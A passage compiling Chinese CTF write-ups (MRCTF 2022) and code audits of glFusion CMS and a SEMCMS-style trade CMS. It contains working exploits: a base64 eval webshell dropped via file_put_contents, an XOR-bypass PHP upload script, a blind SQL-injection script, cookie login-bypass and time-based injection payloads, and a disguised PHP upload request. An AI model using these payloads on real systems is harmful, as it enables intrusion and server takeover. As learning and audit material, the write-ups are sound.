那我们如何写入恶意语句呢?其实不用我们写进去,我们在自己的数据库新建自己的两个命名为qb_jfaboutqb_jfsort的表,在第一个表的titlecontent插入语句,然后借助file_put_contents

不能只简单地写入,还要记得闭合引号

id fid list title content
1 1 1 "+$_GET[a]($_GET[b]);+" "+$_GET[a]($_GET[b]);+"
id fid name list
1 1 1 1
/do/jf.php?dbuser=数据库用户&dbpw=数据库密码&dbhost=数据库地址&dbname=数据库名称&pre=qb_&dbcharset=gbk&submit=123&a=assert&b=${file_put_contents(base64_decode('aGFjay5waHA='),base64_decode('PD9waHAgQGV2YWwoJyRfUE9TVFtoYWNrXScpOz8+'))};

就会在当前目录生成我们的shell,蚁剑连接。

2022 MRCTF parly Writeup

Bonus

Just Hacking

Metasploit打Redis

Y4T4A7IABGR186T.png

使用exploit/linux/redis/redis_replication_cmd_exec这个模块,我尝试了好几次,前几次一直没打通

APGPAN1P78UJQ9RDR6.png

打通以后,找docker信息

DNALCE4QEOA_868Z98B.png

base64解密一下,就解出来用户名密码

mrctfbooker:WZ8npSK4T

dockerhub直接登录,可以找到alpine私有镜像

image.png

直接pull下来然后运行

1SEBEXRK_M_88YAJK4G.png

MISC

checkin

image.png

ctrl+s保存下来源码,在里面直接就能搜到逻辑,简单分析一下

 if (stats.bestStreak === 100) {
      alert("TVJDVEZ7VzNsYzBtZV9UMF9tcjN0Zl8yMDIyX1FXUX0=");

base64解密一下就可

MRCTF{W3lc0me_T0_mr3tf_2022_QWQ}

Pixel

import numpy as np
import matplotlib.pyplot
from skimage.io import imread, imshow
import time
import math
import cv2

def arnold_decode(image, shuffle_times, a, b):
    decode_image = np.zeros(shape=image.shape)
    h, w = image.shape[0], image.shape[1]
    N = h # 或N=w
    for time in range(shuffle_times):
        for ori_x in range(h):
            for ori_y in range(w):
                new_x = ((a*b+1)*ori_x + (-b)* ori_y)% N
                new_y = ((-a)*ori_x + ori_y) % N
                decode_image[new_x, new_y] = image[ori_x, ori_y]
    cv2.imshow("image",decode_image)
    cv2.waitKey(1000)
    cv2.imwrite('2.png',decode_image)
    return decode_image
aaa = imread('flag.png')
arnold_decode(aaa, 10, 22,20)

WEB

Webcheckin

让传php文件,但是对php文件内容有过滤,所以我们绕过一下,我用的异或字符,下面是字典脚本

<?php

$myfile = fopen("or_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
    for ($j=0; $j <256 ; $j++) { 

        if($i<16){
            $hex_i='0'.dechex($i);
        }
        else{
            $hex_i=dechex($i);
        }
        if($j<16){
            $hex_j='0'.dechex($j);
        }
        else{
            $hex_j=dechex($j);
        }
        $preg = '/[0-9a-z]/i';    // 根据题目给的正则表达式修改即可
        if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
                    echo "";
    }

        else{
        $a='%'.$hex_i;
        $b='%'.$hex_j;
        $c=(urldecode($a)|urldecode($b));
        if (ord($c)>=32&ord($c)<=126) {
            $contents=$contents.$c." ".$a." ".$b."\n";
        }
    }

}
}
fwrite($myfile,$contents);
fclose($myfile);

这个是利用脚本

# -*- coding: utf-8 -*-
import urllib.parse
import requests

def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("or_rce.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"^\""+s2+"\")"
   return(output)

param=action("system")+action('ls /var/log')+";"
data = "<?php " + urllib.parse.unquote(param)

files = {'file': ('shell.php', data, 'application/octet-stream')}
res = requests.post(url="http://webshell.node3.mrctf.fun/", files=files)
res2 = requests.get(url="http://webshell.node3.mrctf.fun/"+res.text)
print(res2.text)

打通5分钟,找flag一上午。。。

var/log目录下

image.png

cat dpkg.log

image.png

glFusion CMS V1.7.9 代码审计

三条CNVD记录

  • glFusion CMS v1.7.9存在任意用户注册漏洞,攻击者可利用该漏洞使用任何用户的邮箱进行注册。
  • glFusion CMS v1.7.9存在授权问题漏洞,攻击者可利用该漏洞通过/public_html/users.php进行攻击。
  • glFusion CMS v1.7.9存在访问控制错误漏洞,攻击者可利用该漏洞通过/public_html/comment.php进行攻击。

CMS

特点

  1. 支持很多类型
  2. 扩展性强,已安装几个插件
  3. 安全:最近,HP Fortify 执行了完整的源代码/Web 应用程序审计
  4. 开发人员友好:glFusion 有一个文档齐全的API,允许您通过现有的钩子和 API 开发插件、自动标记和其他自定义

目录结构

  • private

    • backups
    • data
    • language
    • lib
    • logs
    • plugins
    • sql
    • system
    • vendor
    • composer.json.PHPCLASSES
    • db-config.php.dist
    • emailglfusionstories
  • public_html

    • admin

    • backend

    • bad_behavior2

    • calendar

    • captcha

    • ckeditor

    • docs

    • filemgmt

    • filemgmt_data

    • forum

    • help

    • images

    • javascript

    • layout

    • links

    • mediagallery

    • polls

    • staticpages

    • 404.php

    • article.php

    • comment.php

    • css.php

  • LICENSE
  • VERSION

/admin/index.php

登录访问/admin/index.php,Xdebug监听访问请求进行调试。

auth.inc.php

先不看 lib-common.php ,先看看认证文件 auth.inc.php 。

require_once '../lib-common.php';
require_once 'auth.inc.php';

F7进入 auth.inc.php
检查常量GVERSION,判断该文件能否独立被访问。
调用函数 USES_lib_user(); 进行权限认证。
F7进入USES_lib_user();,跳转到lib-common.php

function USES_lib_user() {
global $_CONF;
require_once $_CONF['path_system'] . 'lib-user.php';
}

F7 进入 lib-user.php ,先看这个文件的用户鉴权。

用户鉴权 lib-user.php

// 1.删除用户账号
function USER_deleteAccount($uid){}
// 2.创建一个新密码并发送邮件给用户?
function USER_createAndSendPassword($username, $useremail, $uid, $passwd = ''){}
// 3.为用户创建uid
function USER_createActivationToken($uid,$username){}
// 4.发送邮件通知用户已激活
function USER_sendActivationEmail ($username, $useremail){}
// 5.创建一个新的用户账号
function USER_createAccount ($username, $email, $passwd = '', $fullname = '',$homepage = '', $remoteusername = '', $service = '', $ignore = 0)
// 6.用户注册时发送邮件
function USER_sendNotification ($username, $email, $uid, $mode='inactive')
// 7.获取用户上传或外部引用的照片
function USER_getPhoto ($uid = 0, $photo = '', $email = '', $width = 0, $fullURL
= 1)
// 8.删除用户照片
function USER_deletePhoto ($photo, $abortonerror = true)
// 9.把用户添加到用户组
function USER_addGroup ($groupid, $uid = '')
// 10.从用户组中删除用户
function USER_delGroup ($groupid, $uid = '')
// 11.检查邮箱地址
function USER_emailMatches ($email, $domain_list)
// 12.确保用户名不重复
function USER_uniqueUsername($username)
// 13.检查用户名中是否包含无效字符
function USER_validateUsername($username, $existing_user = 0)
// 14.去除name中不允许的字符
function USER_sanitizeName($text)
// 15.获取子用户组
function USER_getChildGroups($groupid)
// 16.生成一个密码
function USER_createPassword ($length = 7)
// 17.建立用户有权限访问的topic的清单
function USER_buildTopicList ()
// 18.xxx
function USER_mergeAccountScreen( $remoteUID, $localUID, $msg='' )
// 19.Un-Merge User Accounts
function USER_unmergeAccounts()
// 20.Merge User Accounts
function USER_mergeAccounts()
uid(先看uid再说用户权限模型)

276行是生成token的代码。token通过加密,且加密方式是哈希、加密内容包含随机数。token的作用是cookie。

uid是什么时候生成的?应该是用户注册时。查看注册功能点,位于文件/user.php?mode=new

function USER_createActivationToken($uid,$username)
{
global $_CONF, $_TABLES;
$token = md5($uid.$username.uniqid (mt_rand (), 1));
DB_query("UPDATE {$_TABLES['users']} SET
act_token='".DB_escapeString($token)."', act_time=NOW() WHERE uid=".$uid);
return $token;
}

filemgmt插件文件上传

上传点URL:http://127.0.0.1/glfusion-1.7.9/public_html/admin/plugins/filemgmt/index.php?lid=1&op=modDownload

查看 /admin/plugins/filemgmt/index.php 文件(该部分分析的主要文件),全文搜索 jpeg 。

不太容易找到关键代码,开Xdebug进行调试。

定位执行函数
// 34行,通用配置和鉴权代码
require_once '../../../lib-common.php';
require_once '../../auth.inc.php';
USES_lib_admin();
。。。
// 118行,创建了三个类,插件配置代码
// 第三个是错误处理类,用于处理异常情况
// 第二个使用 __construct()初始化赋值了数据库的数据库名、表名、id名、pid名
$myts = new MyTextSanitizer;
$mytree = new XoopsTree($_DB_name,$_TABLES['filemgmt_cat'],"cid","pid");
$eh = new ErrorHandler;

接收参数之后,使用 SEC_hasRights() 函数进行校验,因为不走该流程所以暂时忽略。

// 44行,对参数使用过滤器后赋值
$op = isset($_REQUEST['op']) ? COM_applyFilter($_REQUEST['op']) : '';

文件有效执行:switch语句选择 option

从一百多行开始,一直都是定义的 function() 代码,直到1493行,对操作参数使用 switch 语句。

这些操作参数,就是该插件的操作。

文件上传操作,传递的操作参数是 op=modDownloadS ,接下来跟进该函数。

switch ($op) {
default:
mydownloads();
break;
case "comment":
filemgmt_comments($firstcomment);
break;
case "delNewDownload":
delNewDownload();
break;
case "addCat":
addCat();
break;
case "addSubCat":
addSubCat();
break;
case "addDownload":
addDownload();
break;
case "listBrokenDownloads":
listBrokenDownloads();
break;
case "delBrokenDownloads":
delBrokenDownloads();
break;
case "ignoreBrokenDownloads":
ignoreBrokenDownloads();
break;
case "approve":
approve();
break;
case "delVote":
delVote();
modDownload();
break;
case "delCat":
delCat();
break;
case "modCat":
modCat();
break;
case "modCatS":
modCatS();
break;
case "modDownload":
modDownload();
break;
case "modDownloadS":
modDownloadS();
break;
case "delDownload":
delDownload();
break;
case "categoryConfigAdmin":
categoryConfigAdmin();
break;
case "newfileConfigAdmin":
newfileConfigAdmin();
break;
case "listNewDownloads":
listNewDownloads();
break;

操作函数 modDownloads()

F7进入函数,跳转到该文件 744 行,下断点。
该函数末尾代码是 exit() ,说明该函数是最后执行的函数,代码数 130+ 。接下来分析该操作。

上传操作函数 modDownloads()

文件744行开始,该函数代码有130行,首先对不关键的代码进行文字说明,着重分析关键代码。

该函数有两段上传处理代码,第一段在 761-816 行,处理上传文件变量 $newfile

第二段是 817-881行,处理上传文件变量 newsnapfile

两段上传代码都使用 /private/system/classes/upload.class.php 的 upload 类。

function modDownloadS() {
// 对传递参数使用 COM_applyFilter()函数处理后进行赋值
加载全局变量
开启demo_mode则退出程序
// 参数接收
接收参数cid
url参数:如果原图片文件存在,则对url代表的原文件执行操作
过滤后接收参数silentedit
过滤后接收参数owner_id
lid参数:*
// 获取文件
获取文件名:使用 MyTextSanitizer->makeTboxData4Save()处理新文件的文件名
// 创建上传类的实例,对上传文件进行处理。765-810行代码
$upload->setFieldName('newfile');
$upload->setPath($filemgmt_FileStore);
$upload->setAllowAnyMimeType(true); // allow any file type
$upload->setMaxFileSize(100000000);
$upload->setMaxDimensions(8192,8192);
$upload->uploadFiles();

系统内置上传类 /private/system/classes/upload.class.php

upload类代码后,上传的文件是 phpinfo.php。

image.png

index.php,784行,又一层校验,把后缀php修改成phps.

$pos = strrpos($newfile,'.') + 1;
$fileExtension = strtolower(substr($newfile, $pos));

795行,复制 phpinfo.php 生成 phpinfo.phps。

801行,删除 phpinfo.php,此时文件夹只剩下 phpinfo.phps 文件,文件上传漏洞。

filemgmt\index.php操作数

默认情况:mydownloads()

switch语句如下:

default:
mydownloads();
break;

检索mydownloads,定位到函数位置122行。接下来走一下代码流程。

function mydownloads() {
//全局变量
//接收目录参数并过滤
//设置展示参数
// 从数据库查询目录列表,是写死的语句
$sql = "SELECT * FROM {$_TABLES['filemgmt_cat']} WHERE pid=0 ORDER BY title
ASC";
展示各个目录
}
第三种情况:delNewDownload()

检索 delNewDownload(,定位到964行。接下来走一下代码流程。

function delNewDownload() {
定义全局变量
// 接收lid参数并过滤处理
$lid = (int) COM_applyFilter($_POST['lid'],true);
// 传入表名、变量名、变量值。如果函数执行结果,弱比较等于1
if (DB_count($_TABLES['filemgmt_filedetail'],'lid',$lid) == 1) {
// 设置临时名、临时文件名、临时主机名。可能存在SQL注入,查看函数DB_getItem()
$tmpnames =
explode(";",DB_getItem($_TABLES['filemgmt_filedetail'],'platform',"lid=$lid"));
// delete语句,大概率存在SQL注入。
// 看两个函数,过滤函数COM_applyFilter(),查询函数DB_query()
DB_query("DELETE FROM {$_TABLES['filemgmt_filedetail']} WHERE
lid=$lid");
DB_query("DELETE FROM {$_TABLES['filemgmt_filedesc']} WHERE lid=$lid");
//如果临时文件名不为空、文件存在、非目录,则删除filemgmt_filedetail表格记录的文件。
//(任意文件删除应该无了)
//重定向index.php?op=listNewDownloads
//退出程序
}
情况:approve()

switch语句如下:

case "approve":
approve();
break;

检索 approve(,定位到1357行。接下来走一下代码流程。

function approve(){
//定义全局变量
//接收lib参数并做过滤处理
//接收参数title、cid、homepage、version、description
//接收size参数并做过滤处理
// 如果指定URL,则调用 $myts->makeTboxData4Save()函数,再使用rawurlencode()函数处理
// 看一个类、两个函数
if (($_POST['url']) || ($_POST['url'] != '')) {
$name = $myts->makeTboxData4Save($_POST['url']);
$url = rawurlencode($name);
}
//对POST参数做相似处理:logourl
// 看SQL语句,妥妥的SQL注入
// 看函数DB_query()
$result = DB_query("SELECT COUNT(*) FROM {$_TABLES['filemgmt_filedetail']}
WHERE url='$url' and status=1");
list($numrows) = DB_fetchArray($result);
//如果filemgmt_filedetail表存在该URL记录,则报错1108
//对参数纷纷使用$myts->makeTboxData4Save()函数进行保存
// 根据lid查询filemgmt_filedetail表,处理文件可能已经存在的情况
$tmpnames =
explode(";",DB_getItem($_TABLES['filemgmt_filedetail'],'platform',"lid='$lid'"))
;
//如果文件已存在且不是目录,则执行 @rename() 和 @chmod() 函数。

某最新版商贸系统的代码审计

前言

起源于社团大佬发出的一张图片,最近没事就练一下代码审计吧。。。然后电脑坏了,借了一台win11的,凑合着用吧。

SQL注入

这个CMS的SQL注入挺多的,我就写一下前台利用吧。

第一处

我们直接看一下他写的waf

<?php
include_once "class.phpmailer.php"; 
// 防sql注入

if (isset($_GET)){$GetArray=$_GET;}else{$GetArray='';} //get

foreach ($GetArray as $value){ //get

    verify_str($value);

}

function inject_check_sql($sql_str) {

     return preg_match('/select|insert|=|%|<|between|update|\'|\*|union|into|load_file|outfile/i',$sql_str); 
} 

function verify_str($str) { 

   if(inject_check_sql($str)) {

       exit('Sorry,You do this is wrong! (.-.)');
    } 

    return $str; 
} 

逻辑比较简单,利用正则,所有通过 GET 传参得到的参数经过verify_str函数调用 inject_check_sql 函数进行参数检查过滤,如果匹配黑名单,就退出。

  1. 子查询语句被禁用了
  2. 不能有单引号(当SQL的变量包被单引号括起来时不能用单引号闭合)
  3. 没有办法绕过空格

但是这个地方很明显黑名单过滤不严格,而且没有对POST方法进行限制,这样的话我们直接找利用POST方法传参的地方进行构造。

image.png

if (isset($_POST["languageID"])){$Language=test_input(verify_str($_POST["languageID"]));}else{$Language=verify_str($Language);}

但是又有test_input函数进行限制。

function test_input($data) { 
      $data = str_replace("%", "percent", $data);
      $data = trim($data);
      $data = stripslashes($data);
      $data = htmlspecialchars($data,ENT_QUOTES);
      return $data;

   }

具体实现四个功能

  1. 将%替换为percent
  2. trim() 函数移除字符串两侧的空白字符或其他预定义字符,比如/t(制表符),/n(换行),/xb(垂直制表符),/r(回车),(空格)。 功能除去字符串开头和末尾的空格或其他字符。 函数执行成功时返回删除了string字符串首部和尾部空格的字符串,发生错误时返回空字符串("")。 如果任何参数的值为NULL,Trim() 函数返回NULL
  3. stripslashes()删除反斜杠(不能使用反斜杠转义SQL语句中的单引号或双引号)
  4. html转义

明确了这些,剩下的就比较简单了,在任意包含web_inc.php的页面在languageID处构造sql注入语句,以POST方式进行传参,就可以实现。

ascii substr等函数以及大于号小于号并没有被过滤,我们可以盲注测试一下(构建CMS的时候已经知悉数据库名字了,我们直接从相对应ascii进行测试)

ID = 10 and ascii(substr((database()),1,1))>110

或者是

languageID = 2 and ascii(substr(database(),1,1))^109

附一份脚本:

import requests

url = "http://localhost"
database=""

for i in range(1,6):
    for j in range(97,127):
        payload = "1 and ascii(substr(database(),{i},1))^{j}".format(j=j,i=i)

        data = {"languageID":payload}
        #print(payload)
        c=requests.post(url=url,data=data).text
        if "Empty!" in c:
            database+=chr(j)
print(database)

第二处

$web_urls=$_SERVER["REQUEST_URI"];  //获取 url 路径
$web_urls=explode("/", $web_urls);
$urlml=web_language_ml(@$web_urls[1],@$web_urls[2],$db_conn);  // 大写的问号。

跟进web_language_ml方法:

function web_language_ml($web_urls1,$web_urls2,$db_conn){

  $query=$db_conn->query("select * from sc_language where language_url='$web_urls1' or  language_url='$web_urls2' and  language_open=1");

      if (mysqli_num_rows($query)>0){

          $query=$db_conn->query("select * from sc_language where language_url='$web_urls1' or  language_url='$web_urls2' and  language_open=1");
          $row=mysqli_fetch_assoc($query);
          $Urlink=array('url_link'=>$row['language_url'],'url_ml'=>"../",'ID'=>$row['ID']);

      }else{

         $query=$db_conn->query("select * from sc_language where language_mulu=1 and  language_open=1");
         $row=mysqli_fetch_assoc($query);
         $Urlink=array('url_link'=>"",'url_ml'=>"./",'ID'=>$row['ID']);

      }

    return $Urlink; 
}

可以看到$web_urls会被放入数据库语句执行,由于$web_urls获取没有经过过滤函数,所以可以确定存在SQL注入。
但是某些特殊字符在GET传参时,被url编码了,比如双引号,大于号小于号,不过这个地方单引号没有被过滤,可以闭合;而且空格也会被处理,%0a%ob也会被认为字符串,/**/的方法也不行。

我们可以尝试这样构造:

/index.php/'or(sleep(3))or' 

完整SQL语句:

/index.php/1’or+if(substr((select+min(table_name)from(information_schema.tables)where+table_schema=(database())&&table_name!=’sc_banner’),1,1)>’a’,sleep(15),1)#

SQL注入绕过登录

function checkuser($db_conn){ //判断用户是否登陆

    $cookieuseradmin=@verify_str(test_input($_COOKIE["scuseradmin"]));
    $cookieuserpass=@verify_str(test_input($_COOKIE["scuserpass"]));

    $query=$db_conn->query("select * from sc_user where user_admin='$cookieuseradmin' and user_ps='$cookieuserpass'");

    if (mysqli_num_rows($query)>0){

         $row=mysqli_fetch_assoc($query);
         return $row['user_qx'];

     }else{

        echo "<script language='javascript'>alert('账号密码不正确重新登陆!');top.location.href='index.html';</script>";
        exit; 
    }

}

获取Cookie中的用户名密码构成sql语句,以单引号格式进行拼接,我们可以恶意构造

select * from sc_user where user_admin='111\' and user_ps='or 1#'

此时,原语句中的SQL单引号被转义,同时编辑cookiescuseradminscuserpass的值

后台文件上传+Getshell

制作一份php内容的图片

image.png

在后台管理页面添加此照片image.png

BurpSuite拦截进行修改

POST /SEMCMS3.9/OSWttq_Admin/SEMCMS_Upfile.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------3369516516527364944820946580
Content-Length: 830
Origin: http://localhost
Connection: close
Referer: http://localhost/SEMCMS3.9/OSWttq_Admin/SEMCMS_Upload.php?Imageurl=../Images/prdoucts/&filed=images_url&filedname=forms
Cookie: scusername=%E6%80%BB%E8%B4%A6%E5%8F%B7; scuseradmin=Admin; scuserpass=c4ca4238a0b923820dcc509a6f75849b
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

-----------------------------3369516516527364944820946580
Content-Disposition: form-data; name="wname"

111
-----------------------------3369516516527364944820946580
Content-Disposition: form-data; name="file"; filename="test.jpg"
Content-Type: image/jpeg

<?php phpinfo();?>
-----------------------------3369516516527364944820946580
Content-Disposition: form-data; name="imageurl"

../Images/prdoucts/
-----------------------------3369516516527364944820946580
Content-Disposition: form-data; name="filed"

images_url
-----------------------------3369516516527364944820946580
Content-Disposition: form-data; name="filedname"

forms
-----------------------------3369516516527364944820946580
Content-Disposition: form-data; name="submit"

Submit
-----------------------------3369516516527364944820946580--

在我们重命名的时候修改重命名文件为111.jpg.php:进行保存,这是我们看后台保存图片已经写入,但是没有数据。

第二次提交,提交同样的图片,这一次我们修改上传文件名为test.jpg<<<

接着访问,成功实现

image.png

首先是为什么能成功解析成php文件?

      if (test_input($_POST["wname"])!==""){//自定义文件名

        $newname=test_input($_POST["wname"]).".".end($uptype); //新的文件名 

我觉得这个地方能够上传成功与文件名命名格式有关,众所周知,英文状态下冒号是不允许存在的,应该是这个地方产生了截断,导致后面的.jpg没有被拼接上。

但是我不太明白一个地方就是怎么将php写入的,于是全局搜索file_put_contents,只有3处使用,相对比较可疑的是:

function Mbapp($mb,$lujin,$mblujin,$dirpaths,$htmlopen){

       if ($htmlopen==1){$ml="j";}else{$ml="d";}

        $template="index.php,hta/".$ml."/.htaccess"; //开始应用模版
        $template_mb=explode(",",$template);//以,分割为数组

        for($i=0;$i<count($template_mb);$i++){

              $template_o = file_get_contents($mblujin.'Templete/'.$mb.'/Include/'.$template_mb[$i]);

              $templateUrl = $lujin.str_replace("hta/".$ml."/","", $template_mb[$i]);
              $output = str_replace('<{Template}>', $mb, $template_o);
              $output = str_replace('<{dirpaths}>', $dirpaths, $output);

          file_put_contents($templateUrl, $output);

           }

}

这个地方的$mb是可控的

image.png

这里file_get_contents()str_replace() 就是从模板目录下提取index.php和.htaccess文件然后替换<{Template}>写入到主目录下

理论上这个地方也可以Getshell,但这个地方我还是不太明白到底test.jpg<<<是如何写入的,希望有大佬能教教我~